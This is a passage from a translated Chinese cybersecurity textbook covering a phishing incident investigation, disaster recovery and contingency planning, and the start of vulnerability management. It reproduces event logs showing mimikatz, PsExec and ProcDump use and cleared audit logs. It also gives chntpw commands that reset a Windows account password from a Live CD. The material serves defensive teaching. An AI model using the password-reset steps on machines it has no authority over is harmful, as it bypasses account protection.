这个最终用户位于巴西分公司,因此邮件是葡萄牙语。这封邮件的内容有点令人担忧,因为它谈到了一个正在进行的法律程序,用户很好奇看看他是否真的与此有关。在邮件中四处查看后,他注意到似乎没有发生任何事情。他忽略了并继续工作。几天后,他收到了 IT 发来的自动报告,报告称他访问了一个可疑的网站,他应该致电支持部门跟进此工单。

他致电支持并解释他记得的唯一可疑活动是打开一个奇怪的邮件,然后以此邮件作为证据呈现。当被问及他做了什么时,他解释说他点击了似乎附在邮件中的图片,以为他可以下载它,但什么也没有,只是一个迅速消失的打开窗口的一瞥,什么也没有。

调查的第一步是验证电子邮件中链接到图片的 URL。验证的最快方式是使用 VirusTotal,在这种情况下返回了以下值(2017 年 11 月 15 日进行的测试):

这已经是一个强烈的迹象表明这个网站是恶意的,那时的问题是:它下载了什么到用户的系统上,而本地安装的反恶意软件没有发现?当反恶意软件没有发现入侵迹象,但有迹象表明恶意文件已成功下载到系统中时,通常下一步是查看事件日志。

使用 Windows 事件查看器,我们过滤了事件 ID 4688 的安全事件,并开始逐个查看每个事件,直到找到以下事件:

Log Name:      Security 
Source:        Microsoft-Windows-Security-Auditing 
Event ID:      4688 
Task Category: Process Creation 
Level:         Information 
Keywords:      Audit Success 
User:          N/A 
Computer:      BRANCHBR 
Description: 
A new process has been created. 

Creator Subject: 
   Security ID:            BRANCHBRJose 
   Account Name:           Jose 
   Account Domain:         BRANCHBR 
   Logon ID:         0x3D3214 

Target Subject: 
   Security ID:            NULL SID 
   Account Name:           - 
   Account Domain:         - 
   Logon ID:         0x0 

Process Information: 
   New Process ID:         0x1da8 
   New Process Name: C:tempToolsmimix64mimikatz.exe 
   Token Elevation Type:   %%1937 
   Mandatory Label:        Mandatory LabelHigh Mandatory Level 
   Creator Process ID:     0xd88 
   Creator Process Name:   C:WindowsSystem32cmd.exe 
   Process Command Line:    

正如你所看到的,这是臭名昭著的 mimikatz。它被广泛用于凭证窃取攻击,比如传递哈希。进一步分析显示,这个用户不应该能够运行这个程序,因为他在这台机器上没有管理员权限。基于这个推理,我们开始寻找在此之前可能被执行的其他工具,我们找到了以下工具:

Process Information: 
   New Process ID:         0x510 
   New Process Name: C:tempToolsPSExecPsExec.exe 

PsExec 工具通常被攻击者用来以提升(系统)权限启动命令提示符(cmd.exe);后来,我们还发现了另一个 4688 事件:

Process Information: 
   New Process ID:         0xc70 
   New Process Name: C:tempToolsProcDumpprocdump.exe 

ProcDump 工具常被攻击者用来从 lsass.exe 进程中转储凭证。仍然不清楚 Jose 是如何获得特权访问的,其中一个原因是我们发现了事件 ID 1102,显示在执行这些工具之前,他清除了本地计算机上的日志:

Log Name:      Security 
Source:        Microsoft-Windows-Eventlog 
Event ID:      1102 
Task Category: Log clear 
Level:         Information 
Keywords:      Audit Success 
User:          N/A 
Computer:      BRANCHBR 
Description: 
The audit log was cleared. 
Subject: 
   Security ID:      BRANCHBRJose 
   Account Name:     BRANCHBR 
   Domain Name:      BRANCHBR 
   Logon ID:   0x3D3214 

通过进一步调查本地系统,最终得出以下结论:

  • 一切始于一封钓鱼邮件

  • 这封电子邮件中嵌入了一张图片,该图片包含指向已被攻陷网站的超链接。

  • 一个包被下载并提取到本地系统中,这个包包含了许多工具,比如 *mimikatz*procdumppsexec

  • 这台计算机不属于域,因此只有本地凭证被攻陷

针对巴西账户的攻击正在增长;在我们撰写本章时,Talos 威胁情报发现了一次新攻击。博客 银行木马试图窃取巴西雷亚尔blog.talosintelligence.com/2017/09/brazilbanking.html 中描述了一种复杂的钓鱼邮件,邮件使用了合法的 VMware 数字签名二进制文件。

调查混合云中的受损系统

对于这种混合场景,受损的系统将部署在本地,而公司拥有基于云的监控系统,本文示例中采用的是 Azure 安全中心。为了展示混合云场景如何与本地在线场景相似,我们将使用之前的案例。再次强调,用户收到了一个钓鱼邮件,点击了超链接,导致系统被攻陷。不同之处在于,现在有一个活跃的传感器在监控系统,这将触发警报通知 SecOps,并且用户将被联系。用户不再需要等上几天才能意识到自己被攻陷;响应更快速且更准确。

SecOps 工程师可以访问安全中心仪表盘,当创建警报时,警报名称旁边会显示一个 NEW 标志。SecOps 工程师还注意到创建了一个新的安全事件,如下图所示:

正如第十一章 主动传感器 中提到的,Azure 安全中心中的安全事件代表了两个或多个相关的警报。换句话说,它们是针对目标系统的同一攻击活动的一部分。通过点击该安全事件,SecOps 工程师注意到以下警报:

此事件中包含了四个警报,正如你所看到的,它们是按时间顺序组织的,而不是按优先级排序的。在该窗格的底部,包含了两个显著事件,这些额外的信息在调查过程中可能会有用。第一个事件仅报告安装在本地机器上的反恶意软件成功阻止了一个试图在本地系统中植入恶意软件的行为。这个是好消息,但不幸的是,攻击者有足够的动力继续攻击,并成功禁用了本地系统上的反恶意软件。需要记住的是,为了做到这一点,攻击者必须提升权限,并运行类似Taskkillkillav的命令来终止反恶意软件进程。接下来,我们看到一个中等优先级的警报,显示检测到一个可疑进程名称,如以下截图所示:

在这种情况下,进程是mimikatz.exe,它也在我们的前一个案例中被使用。你可能会问:为什么这是中等优先级,而不是高优先级?因为在这一时刻,mimikatz.exe进程还没有启动。这就是为什么警报显示为:“检测到可疑的进程名称”。关于此事件的另一个重要事实是攻击资源的类型,即非 Azure 资源,这样你可以识别出这是本地资源或是其他云服务商(如 Amazon AWS)上的虚拟机。接下来是另一个警报,我们检测到了可疑的进程执行活动:

该警报的描述非常清晰地说明了目前发生的情况,这也是拥有监控系统监视进程行为的最大优势之一。它会观察这些模式,并将数据与自己的威胁情报源进行关联,以了解这些活动是否可疑。提供的修复步骤也有助于采取后续措施。让我们继续查看其他警报。下一个是高优先级警报,指的是执行了一个可疑进程:

该警报显示mimikatz.exe已经执行,且父进程是cmd.exe。由于mimikatz需要一个特权账户才能成功运行,因此推测这个命令提示符是以高权限账户的身份运行的,在本例中是 EMSAdmin。瓶中的显著事件也应当进行检查。我们将跳过第一个,因为我们知道它是关于清除证据(擦除日志)的,但下一个事件不那么清楚,所以我们需要审查一下:

这是另一个表明攻击者已妥协其他文件的迹象,例如rundll32.exe。此时,您已经有足够的信息来继续调查过程。如第十二章《威胁情报》中所述,Azure 安全中心具有一个功能,使您能够深入了解安全问题的细节,这就是调查功能。在此案例中,我们将选择此列表中的第二个警报并点击调查按钮。此特定案例的调查路径如下图所示:

此图中的每个实体提供有关其自身对象的详细信息,如果与所选实体相关的其他实体存在,您可以通过点击对象本身来切换它,如下图所示:

调查地图帮助您可视化在此攻击过程中所采取的步骤,并更好地理解所有相关实体之间的关联。

搜索,你将找到它

在实际场景中,传感器和监控系统收集的数据量可能非常庞大。手动调查这些日志可能需要几天时间,这也是为什么您需要一个安全监控系统,能够聚合所有这些日志、处理它们并为您合理化结果。话虽如此,您还需要搜索功能,以便在继续调查时能够挖掘更多重要信息。

安全中心的搜索功能由 Azure 日志分析提供支持,Azure 日志分析拥有自己的查询语言。通过使用日志分析,您可以跨不同工作区进行搜索,并自定义搜索的详细信息。假设您需要知道在此环境中是否有其他机器上运行名为mimikatz的进程。搜索查询将类似于以下内容:

请注意,在此案例中,操作符使用的是contains,但它也可以是equals。之所以使用contains,是因为它可能会带来更多的结果,并且为了本次调查,我们希望了解所有名称中包含这些字符串的进程。此查询的结果显示以下条目:

输出结果总是以表格格式呈现,并允许您可视化与此查询匹配的所有详细信息。

访问以下链接,查看另一个使用搜索功能查找有关攻击的关键信息的示例:blogs.technet.microsoft.com/yuridiogenes/2017/10/20/searching-for-a-malicious-process-in-azure-security-center/

经验教训

每当一起事件结束时,你不仅要记录调查过程中所做的每一步,还要确保识别出调查中的关键方面,这些方面可能需要重新审视以改进或修复,因为它们并没有很好地工作。经验教训对流程的持续改进至关重要,能够避免再次犯同样的错误。

在这两种情况下,都使用了凭证窃取工具来获取用户的凭证并提升权限。针对用户凭证的攻击正在成为一个日益严重的威胁,解决方案并非依赖于单一的产品,而是通过一系列任务的聚合来解决,例如:

  • 减少管理员级别账户的数量,并消除本地计算机中的管理员账户。普通用户不应成为自己工作站的管理员。

  • 尽可能使用多因素认证。

  • 调整安全策略以限制登录权限。

  • 定期重置Kerberos TGTKRBTGT)账户的计划。该账户用于执行金票攻击。

这些只是该环境中的一些基本改进;蓝队应该编写一份详细报告,记录经验教训以及如何利用这些经验改进防御控制。

参考资料

  1. 银行木马试图窃取巴西雷亚尔blog.talosintelligence.com/2017/09/brazilbanking.html

  2. Azure 安全中心中的安全行动手册(预览)docs.microsoft.com/en-us/azure/security-center/security-center-playbooks

  3. 在 Azure 安全中心中处理安全事件docs.microsoft.com/en-us/azure/security-center/security-center-incident

  4. Azure 安全中心中的威胁情报docs.microsoft.com/en-us/azure/security-center/security-center-threat-intel

摘要

在本章中,你学到了从安全角度正确界定问题范围的重要性。你了解了 Windows 系统中的关键文物,以及如何通过仅审查与案件相关的日志来提升数据分析。接下来,你跟踪了一个本地调查案例,分析了相关数据并学会了如何解读这些数据。你还跟踪了一个混合云调查案例,但这次使用了 Azure 安全中心作为主要监控工具。

在下一章中,你将学习如何在先前被攻破的系统中执行恢复过程。你还将了解备份和灾难恢复计划。

第十四章:恢复过程

前一章讨论了如何调查一次攻击,以了解其原因并防止未来发生类似的攻击。然而,一个组织不能完全依赖于保护自己免受攻击以及面对的所有风险。组织面临着各种各样的灾难,因此不可能对它们采取所有的防护措施。IT 基础设施遭受灾难的原因可能是自然的,也可能是人为的。自然灾难是指由环境危险或自然灾害引起的灾难,包括暴风雪、野火、飓风、火山喷发、地震、洪水、闪电甚至是陨石从天而降撞击地面。人为灾难则是由人类用户或外部人为因素引起的灾难,包括火灾、网络战争、核爆炸、黑客攻击、电力浪涌以及事故等。

当这些灾难袭击组织时,组织应对灾难的准备程度将决定其生存能力和恢复速度。本章将讨论组织如何为灾难做好准备,如何在灾难发生时生存下来,以及如何从灾难的影响中快速恢复。

我们将讨论以下主题:

  • 灾难恢复计划

  • 实时恢复

  • 应急计划

  • 恢复的最佳实践

灾难恢复计划

灾难恢复计划是一套文档化的流程和程序,旨在在灾难发生时恢复 IT 基础设施。由于许多组织依赖于 IT,拥有一个全面且制定良好的灾难恢复计划已经成为组织的必要条件。组织无法避免所有的灾难;他们能做的最好的事情就是提前规划,当灾难发生时如何恢复。该计划的目标是保护在 IT 操作部分或完全停止时,业务运营的连续性。拥有一份良好的灾难恢复计划有几个好处:

  • 组织拥有安全感。恢复计划保证它能够在灾难面前持续运作。

  • 组织减少恢复过程中的延迟。如果没有完善的计划,灾难恢复过程很容易变得缺乏协调,导致不必要的延误。

  • 备用系统的可靠性得到保障。灾难恢复计划的一部分是通过备用系统恢复业务运营。该计划确保这些系统始终处于准备状态,并能够在灾难发生时接管工作。

  • 为所有业务运营提供标准化的测试计划。

  • 最小化灾难期间做出决策所需的时间。

  • 减轻组织在灾难期间可能产生的法律责任。

灾难恢复规划过程

以下是组织应采取的步骤,以制定全面的灾难恢复计划。图表总结了核心步骤。所有步骤同等重要:

组建灾难恢复团队

灾难恢复DR)团队是负责协助组织执行所有灾难恢复操作的团队。该团队应具有全面性,涵盖所有部门的成员以及一些来自高层管理的代表。该团队将在确定恢复计划的范围时发挥关键作用,具体范围涉及他们各自部门所执行的操作。团队还将监督计划的成功制定和实施。

进行风险评估

灾难恢复团队应进行风险评估,识别可能影响组织运营的自然灾害和人为风险,特别是与 IT 基础设施相关的风险。选定的部门人员应分析各自职能领域的潜在风险,并确定与这些风险相关的潜在后果。灾难恢复团队还应评估敏感文件和服务器的安全性,通过列出它们面临的威胁及这些威胁可能带来的影响。在风险评估结束时,组织应充分了解多种灾难情景的影响与后果。全面的灾难恢复计划将考虑最坏情况来制定。

优先排序流程和操作

在此阶段,灾难恢复计划中各部门的代表识别出在灾难发生时需要优先处理的关键需求。大多数组织没有足够的资源应对灾难发生时出现的所有需求(2)。因此,需要设定一些标准来确定哪些需求需要组织首先关注并分配资源。灾难恢复计划中需要优先处理的关键领域包括:职能操作、信息流、计算机系统的可访问性和可用性、敏感数据以及现有的政策(2)。为了确定最重要的优先事项,团队需要确定每个部门在没有关键系统的情况下能维持运营的最长时间。关键系统被定义为支持组织不同运营所必需的系统。建立优先级的常见方法是列出各部门的关键需求,确定为满足这些需求所需的关键流程,然后识别并排序底层的流程和操作。操作和流程可以分为三个优先级等级:基本的、重要的和非必要的。

确定恢复策略

在此步骤中,确定并评估从灾难中恢复的实际方法。需要制定恢复策略,涵盖组织的各个方面。这些方面包括硬件、软件、数据库、通信渠道、客户服务和最终用户系统。有时,可能会与第三方(如供应商)签订书面协议,在灾难发生时提供恢复替代方案。组织应审查这些协议、它们的覆盖期限以及条款和条件。在此步骤结束时,灾难恢复团队应该对组织中可能受到灾难影响的所有事项有解决方案。

收集数据

为了便于灾难恢复团队完成完整的灾难恢复流程,应收集并记录有关组织的信息。应收集的相关信息包括库存表格、政策和程序、通信链接、重要联系方式、服务提供商的客户服务号码,以及组织拥有的硬件和软件资源的详细信息(3)。还应收集备份存储站点和备份计划的信息,以及它们的保留期限。

创建灾难恢复计划

如果前述步骤执行得当,灾难恢复团队将获得足够的信息,以制定出一个既全面又实用的灾难恢复计划。该计划应采用标准格式,易于阅读,并简明扼要地将所有关键信息整理在一起。响应程序应以易于理解的方式进行详细解释。计划应有逐步的布局,涵盖灾难发生时响应团队和其他用户需要采取的所有行动。该计划还应指定自己的审查和更新程序。

测试计划

计划的适用性和可靠性绝不应依赖于运气,因为它可能决定组织在重大灾难发生后是否能够持续运营。因此,计划应经过彻底测试,以识别可能存在的挑战或错误。测试将为灾难恢复(DR)团队和用户提供一个平台,进行必要的检查并深入理解响应计划。一些可以执行的测试包括模拟测试、清单测试、全面中断测试和并行测试。至关重要的是,整个组织将依赖的灾难恢复计划必须被证明是切实可行和有效的,既对最终用户,也对灾难恢复团队来说。

获得批准

在计划经过测试并被证明可靠、实用且全面后,应提交给高级管理层进行批准。

高级管理层必须从两个方面批准恢复计划:

  • 第一个要点是确保该计划与组织的政策、程序及其他应急计划一致(3)。

一个组织可能拥有多个业务应急计划,这些计划应该被简化。例如,一个仅能在几周后恢复在线服务的 DR 计划,可能与电商公司的目标不兼容。

  • 批准计划的第二个依据是该计划可以安排进行年度审查。

高层管理将对计划进行自我评估,以确定其是否充分。管理层的利益在于整个组织都能覆盖一个充分的恢复计划。高层管理还必须评估该计划与组织目标的兼容性。

维护计划

IT 威胁格局可能在短时间内发生巨大变化。在之前的章节中,我们讨论了勒索病毒 WannaCry,并解释了它在短时间内袭击了 150 多个国家。它造成了巨大的财务损失,甚至导致死亡,因为它加密了用于敏感功能的计算机。这是影响 IT 基础设施的许多动态变化之一,迫使组织迅速适应。因此,一个好的灾难恢复计划必须经常更新(3)。大多数受 WannaCry 攻击的组织没有为此做好准备,也不知道应采取哪些措施。攻击只持续了几天,但让许多组织措手不及。这清楚地表明,灾难恢复计划应该根据需要进行更新,而不是依照死板的时间表进行更新。因此,灾难恢复过程中的最后一步应是制定一个更新计划。这个计划还应规定,在需要时进行更新。

挑战

灾难恢复计划面临许多挑战,其中之一是未获得高层管理的批准。灾难恢复计划被视为一个虚假的演习,可能永远不会发生(3)。

因此,高层管理可能不会优先考虑制定此类计划,也可能不会批准看似有点昂贵的雄心勃勃的计划。另一个挑战是灾难恢复(DR)团队提出的恢复时间目标RTO)的不完整性。RTO 是决定组织最大可接受停机时间的关键因素。对于 DR 团队来说,有时很难提出一个符合 RTO 且具有成本效益的计划。最后,还有计划过时的挑战。IT 基础设施随着对抗威胁的尝试而发生动态变化。因此,保持灾难恢复计划的更新是一个巨大的任务,有些组织未能做到这一点。过时的计划可能无效,且在新的威胁向量导致的灾难发生时,无法恢复组织。

实时恢复

有时灾难会影响仍在使用中的系统。传统的恢复机制意味着受影响的系统必须下线,安装一些备份文件,然后将系统重新上线。有些组织的系统无法享受下线恢复的奢侈。还有一些系统由于结构上的原因,无法在恢复时关闭。在这两种情况下,都必须进行实时恢复。实时恢复有两种方式。第一种方式是使用配置正确、备份文件未损坏的全新系统安装到故障系统上。最终结果是故障系统及其文件被移除,新的系统接管。

第二种类型的实时恢复是使用数据恢复工具对仍然在线的系统进行恢复。恢复工具可能会对所有现有配置进行更新,将它们更改为正确的配置。它还可能用最近的备份替换损坏的文件。这种类型的恢复适用于需要恢复系统中一些有价值数据的情况。它允许在不影响底层文件的情况下对系统进行更改,也可以在不进行完整系统恢复的情况下完成恢复。一个好的例子是使用 Linux Live CD 恢复 Windows。Live CD 可以执行许多恢复过程,从而避免了用户安装新的 Windows 版本并丢失所有现有程序(4)。例如,Live CD 可以用于重置或更改 Windows PC 密码。用于重置或更改密码的 Linux 工具叫做chntpw。攻击者不需要任何 root 权限就可以执行此操作。用户需要从 Ubuntu Live CD 启动 Windows PC 并安装chntpw(4)。Live CD 将检测计算机上的驱动器,用户只需识别包含 Windows 安装的驱动器。

有了这些信息,用户需要在终端中输入以下命令:

cd/media
ls
cd <hdd or ssd label>
cd windows/system32/config

这是包含 Windows 配置的目录:

sudo chntpw sam  

在前述命令中,sam是包含 Windows 注册表的配置文件(4)。在终端中打开后,会显示一个列出 PC 上所有用户账户的列表,并提示用户编辑账户。提供了两种选择:清除密码或重置旧密码。

重置密码的命令可以在终端中输入如下:

sudo chntpw -u <user> SAM  

正如前面讨论的例子所提到的,当用户无法记住他们的 Windows 密码时,他们可以使用 Live CD 恢复他们的账户,而无需破坏 Windows 安装。有许多其他的实时恢复过程,所有这些过程都具有一些相似之处。现有系统从未被完全抹去。

应急计划

组织需要保护他们的网络和 IT 基础设施免于完全失败。应急规划是实施临时措施的过程,旨在使组织能够快速从故障中恢复,并同时限制故障造成的损失程度(5)。这就是为什么应急规划是所有组织都应该承担的关键责任。规划过程包括识别 IT 基础设施面临的风险,然后制定补救策略,以显著减少这些风险的影响。组织面临许多风险,从自然灾害到用户的不小心行为不等。这些风险可能带来的影响从轻微的硬盘故障到严重的影响,比如服务器农场的物理摧毁。尽管组织倾向于投入资源预防此类风险的发生,但不可能消除所有风险(5)。它们无法消除的原因之一是组织依赖许多关键资源,这些资源超出了他们的控制范围,如电信。其他原因包括威胁的进展和内部用户由于疏忽或恶意行为造成的不可控行为。

因此,组织必须认识到,某一天他们可能会面临一个发生并造成严重损失的灾难。他们必须拥有可靠的应急计划、可靠的执行计划和合理安排的更新计划。为了确保应急计划有效,组织必须确保:

  • 他们理解应急计划与其他业务连续性计划之间的整合

  • 他们仔细制定应急计划,并关注他们选择的恢复策略,以及恢复时间目标

  • 他们在制定应急计划时强调演练、培训和更新任务

应急计划必须解决以下 IT 平台,并提供足够的恢复策略和技术:

  • 工作站、笔记本电脑和智能手机

  • 服务器

  • 网站

  • 内联网

  • 广域网

  • 分布式系统(如果有)

  • 服务器机房或公司(如果有)

IT 应急规划过程

IT 应急规划帮助组织为未来的不幸事件做准备,确保在事件发生时能够及时有效地应对。未来的不幸事件可能由硬件故障、网络犯罪、自然灾害和前所未有的人为错误引起。当这些事件发生时,组织需要继续运营,即使在遭受重大损失之后。这就是为什么 IT 应急规划至关重要的原因。IT 应急规划过程包括以下五个详细步骤。

应急规划政策的制定

一个好的应急计划必须基于一个明确的政策,该政策定义了组织的应急目标,并指定负责应急规划的员工。所有高级员工必须支持应急计划。因此,他们应该参与制定一个全站的、经过一致同意的应急规划政策,明确应急规划的角色和责任。政策中应包含以下关键要素:

  • 应急计划将覆盖的范围

  • 所需资源

  • 组织用户的培训需求

  • 测试、演练和维护计划

  • 备份计划和其存储位置

  • 参与应急计划人员的角色和责任定义

进行业务影响分析

进行业务影响分析BIA)将帮助应急规划协调员轻松描述组织的系统需求及其相互依赖关系。这些信息将帮助他们在制定应急计划时确定组织的应急需求和优先事项。然而,进行 BIA 的主要目的是将不同的系统与它们所提供的关键服务进行关联(6)。通过这些信息,组织可以识别每个系统发生中断时的个别后果。业务影响分析应分为三步进行,如下图所示:

确定关键 IT 资源

尽管 IT 基础设施有时可能复杂并包含多个组件,但其中只有少数是至关重要的。这些关键资源支持核心业务流程,如工资处理、交易处理或电子商务店铺结账。关键资源包括服务器、网络和通信渠道。然而,不同的企业可能有自己独特的关键资源。

确定中断的影响

对于每个已识别的关键资源,企业应识别其允许的停机时间。最大允许停机时间是指资源不可用的时间段,在此期间企业不会受到重大影响(6)。同样,不同的组织根据其核心业务流程将有不同的最大允许停机时间。例如,一家电子商务店铺的网络相比于制造业,其最大允许停机时间较短。组织需要仔细观察其关键流程,并估算它们在没有产生不良后果的情况下能够保持不可用的最大时间。最佳的停机时间估算应通过平衡中断的成本和恢复 IT 资源的成本来获得。

制定恢复优先级

根据组织从前一步收集的信息,应优先恢复首先需要恢复的资源。最关键的资源,如通信渠道和网络,几乎总是优先恢复的对象。然而,这仍然取决于组织的性质。有些组织可能会优先恢复生产线,而不是网络。

确定预防控制措施

在进行 BIA 后,组织将获得关于其系统及其恢复需求的重要信息。BIA 中揭示的一些影响可以通过预防措施加以缓解。这些是可以采取的措施,用于检测、遏制或减少对系统中断的影响。如果预防措施可行且成本不高,则应加以实施,以帮助系统恢复。然而,有时为了应对所有可能发生的中断,实施预防措施可能会变得过于昂贵。预防控制措施的种类非常广泛,从防止电力中断到防止火灾的措施都有。

制定恢复策略

这些是用于在发生中断后迅速有效地恢复 IT 基础设施的策略。恢复策略必须在 BIA(业务影响分析)获得的信息的基础上进行制定。选择不同策略时必须考虑的因素有很多,比如成本、安全性、站点兼容性以及组织的恢复时间目标(7)。

恢复策略还应由互补的方法组合而成,涵盖组织面临的整个威胁环境。

以下是最常用的恢复方法。

备份

系统中包含的数据应偶尔进行备份。然而,备份间隔应足够短,以便捕获合理近期的数据(7)。在发生导致系统和其中数据丧失的灾难时,组织可以轻松恢复。组织可以重新安装系统,然后加载最新的备份,并恢复运作。应该制定并实施数据备份政策。至少,这些政策应涵盖备份存储位置、备份命名规范、轮换频率以及将数据传输到备份站点的方法(7)。

下图展示了完整的备份过程:

云备份具有成本、可靠性、可用性和容量的优势。由于组织不需要购买硬件或承担云服务器的维护费用,因此成本较低。由于云备份始终在线,它们比外部存储设备上的备份更可靠且更具可用性。最后,租用所需空间的灵活性使得存储容量随着需求的增加而增长。云计算的两个主要缺点是隐私和安全性。

替代站点

有些中断会带来长期影响,这些影响使得组织必须在特定地点长时间关闭运营。应急计划应提供在替代设施中继续业务运营的选项。

有三种类型的替代站点:组织拥有的站点、通过与内部或外部实体达成协议获得的站点,以及通过租赁方式商业获得的站点(7)。替代站点根据其继续业务运营的准备情况进行分类。冷备站点是那些具有足够支持 IT 操作的资源的站点。然而,组织需要安装必要的 IT 设备和电信服务以恢复 IT 基础设施。温备站点部分配备并保持在就绪状态,可以继续提供迁移的 IT 系统。然而,它们需要一定的准备才能完全投入使用。热备站点充分配备并有人员来继续 IT 操作,以应对主站点发生灾难时的情况。移动站点是可以运输的办公空间,配备了所有必要的 IT 设备,以支持 IT 系统。最后,镜像站点是冗余设施,拥有与主站点相同的 IT 系统和数据,在主站点发生灾难时,能够无缝继续运营。

以下是按继续运营的准备情况升序排列的替代站点总结:

  • 冷备站点

    • 已准备好支持资源

    • 需要安装 IT 设备和电信服务

  • 温备站点

    • 部分配备并保持在就绪状态

    • 需要通过人员配备进行准备才能投入使用

  • 热备站点

    • 充分配备并有人员来继续 IT 操作
  • 镜像站点

    • 主站点的精确副本

设备更换

一旦发生破坏性灾难,损坏了关键的硬件和软件,组织将需要安排更换这些设备。应急计划可以选择三种方式之一。其一是与供应商达成协议,在灾难发生时,供应商能够提供必要的更换设备。另一个选择是设备库存,即组织提前购买关键 IT 设备的替代品并将其安全存储。一旦灾难发生,可以在主站点使用替代设备进行更换,或将其安装在备用站点恢复 IT 服务。最后,组织可能选择使用任何现有的兼容设备替代损坏的设备。此选项包括从备用站点借用设备。

计划测试、培训与演练

一旦应急计划制定完成,就需要进行测试,以便识别可能存在的不足之处。测试还需要评估员工在灾难发生时执行计划的准备情况。应急计划的测试必须集中在从备份和备用站点恢复的速度、恢复人员之间的协作、备用站点上恢复系统的性能以及恢复正常操作的难易程度。测试应在最坏情况下进行,并通过课堂演练或功能演练来进行。

课堂演练是成本最低的,因为员工通常在课堂上先了解恢复操作的流程,再进行实际演练。

另一方面,功能演练要求更高,需要模拟灾难发生,并且教导员工如何实际响应。

理论培训用于补充实践培训,并加深员工在演练中所学的内容。培训至少每年进行一次。

计划维护

应急计划需要保持在适当的状态,以便应对组织当前的风险、需求、组织结构和政策。因此,它应该不断更新,以反映组织的变化或威胁环境的变化。该计划需要定期审查,并在必要时更新,更新内容应有文档记录。审查应至少每年进行一次,所有记录的更改应在短期内实施。这是为了防止组织未做好准备而遭遇灾难。

恢复的最佳实践

形成灾难恢复计划的上述过程,如果遵循某些最佳实践,可以取得更好的效果。其中之一是拥有一个异地存储已归档备份的地点。云是一个方便的解决方案,用于安全的异地存储。

另一个实践是记录任何对 IT 基础设施所做的更改,以便在审查应急计划是否适用于新系统时能更加便捷。主动监控 IT 系统也是一种良好的做法,能早期识别灾难发生的迹象,并开始恢复过程。组织还应实施容错系统,以便在遭遇灾难时能承受一定程度的损害。例如,为服务器实现独立磁盘冗余阵列RAID)是一种实现冗余的方法。定期检查备份的完整性,以确保其没有错误,也是非常重要的。如果一个组织在灾难发生后发现备份有错误并且无法使用,那将是非常令人失望的。最后,组织应定期测试其从备份中恢复系统的过程,所有 IT 员工都需要对这一过程有充分的了解。

参考文献

  1. C. Bradbury, 灾难!创建和测试有效的恢复计划, Manager, 第 14-16 页, 2008 年. 可获取: search.proquest.com/docview/224614625?accountid=45049.

  2. B. Krousliss, 灾难恢复规划Catalog Age, 第 10 卷, (12), 第 98 页, 2007 年. 可获取: search.proquest.com/docview/200632307?accountid=45049.

  3. S. Drill, 假设最坏情况的 IT 灾难恢复计划National Underwriter.P & C, 第 109 卷, (8), 第 14-15 页, 2005 年. 可获取: search.proquest.com/docview/228593444?accountid=45049.

  4. M. Newton, LINUX 小贴士PC World, 第 150 页, 2005 年. 可获取: search.proquest.com/docview/231369196?accountid=45049.

  5. Y. Mitome 和 K. D. Speer, "通过应急规划迎接灾难," 风险管理, 第 48 卷, (5), 第 18-20 页, 2008 年. 可获取: search.proquest.com/docview/227019730?accountid=45049.

  6. J. Dow, "备份和恢复规划," 计算机技术评论, 第 24 卷, (3), 第 20-21 页, 2004 年. 可获取: search.proquest.com/docview/220621943?accountid=45049.

  7. E. Jordan, IT 应急规划:管理角色信息管理与计算机安全, 第 7 卷, (5), 第 232-238 页, 1999 年. 可获取: search.proquest.com/docview/212366086?accountid=45049.

摘要

在本章中,我们讨论了组织如何为确保在灾难期间的业务连续性做好准备。我们讲解了灾难恢复规划过程,强调了识别面临的风险、优先恢复关键资源并确定最合适的恢复策略的必要步骤。本章还讨论了在系统保持在线的情况下进行实时恢复。我们重点讨论了应急计划,详细讲解了整个应急规划过程,涉及如何制定、测试和维护一个可靠的应急计划。

最后,在本章中,我们提供了一些可以在恢复过程中使用的最佳实践,以实现最佳结果。

本章总结了网络犯罪分子使用的攻击策略,以及目标可以采取的漏洞管理和灾难恢复措施。

第十五章:漏洞管理

在前面的章节中,你了解了恢复过程以及拥有一个良好的恢复策略和合适的工具是多么重要。很多时候,漏洞的利用可能会导致灾难恢复场景。因此,必须建立一个能够防止漏洞被利用的系统。但是,如果你不知道系统是否存在漏洞,如何防止漏洞被利用呢?答案是建立一个漏洞管理过程,利用这个过程来识别漏洞并帮助你减轻风险。本章重点介绍了组织和个人需要实施的机制,以使系统更难被黑客攻击。虽然系统不可能做到 100%安全,但可以采取一些措施来使黑客完成任务的难度增大。

本章将涵盖以下主题:

  • 创建漏洞管理策略

  • 漏洞管理工具

  • 实施漏洞管理

  • 漏洞管理的最佳实践

创建漏洞管理策略

创建有效漏洞管理策略的最佳方法是将其作为一个漏洞管理生命周期。就像攻击生命周期一样,漏洞管理生命周期将所有漏洞缓解过程有序地安排在时间表中。这使得网络安全事件的目标和受害者能够减轻他们已经遭受或可能遭受的损害。合适的对策会在适当的时间进行,以便在攻击者能够利用漏洞之前找到并解决这些漏洞。

漏洞管理策略由六个不同的阶段组成。本节将讨论每个阶段以及它们的防护目标,还将讨论在每个阶段可能遇到的挑战。

资产清单

漏洞管理策略的第一阶段应是制作资产清单。然而,许多组织缺乏有效的资产登记,因此在保护其设备时遇到困难。资产清单是安全管理员可以用来检查组织拥有的设备,并突出需要由安全软件覆盖的设备的工具。在漏洞管理策略中,组织应通过指定一名员工负责管理资产清单,以确保所有设备都被记录在案,并且清单保持最新(1)。资产清单也是网络和系统管理员快速查找和修补设备与系统的一个好工具。

如果没有库存,当新的安全软件正在打补丁或安装时,一些设备可能会被遗落。这些是攻击者将会攻击的设备和系统。正如在第五章 系统妥协 中所见到的,有些黑客工具可以扫描网络并找出未打补丁的系统。缺乏资产清单也可能导致组织在安全方面支出不足或过多。这是因为它无法正确确定需要购买保护的设备和系统。在这个阶段预期会遇到许多挑战。如今的组织中的 IT 部门经常面临变更管理不善、流氓服务器和网络边界不清晰等问题。组织还缺乏有效的工具以一致的方式维护清单。

信息管理

脆弱性管理策略的第二阶段是控制信息如何流入组织。最关键的信息流是来自组织网络的互联网流量。组织需要防范越来越多的蠕虫、病毒和其他恶意软件威胁。本地网络内外的流量流动也在增加。增加的流量威胁着将更多恶意软件带入组织。因此,应重视这种信息流,以防止威胁进入或离开网络。除了恶意软件的威胁,信息管理还涉及组织的数据。组织存储不同类型的数据,其中一些绝不能落入错误人手中。例如商业机密和客户个人信息,如果被黑客访问,可能会造成无法弥补的损害。组织可能会失去声誉,还可能因未能保护用户数据而被罚款巨额。竞争对手可能会获取秘密配方、原型和商业机密,使他们能够超越受害组织。因此,在脆弱性管理策略中,信息管理至关重要。

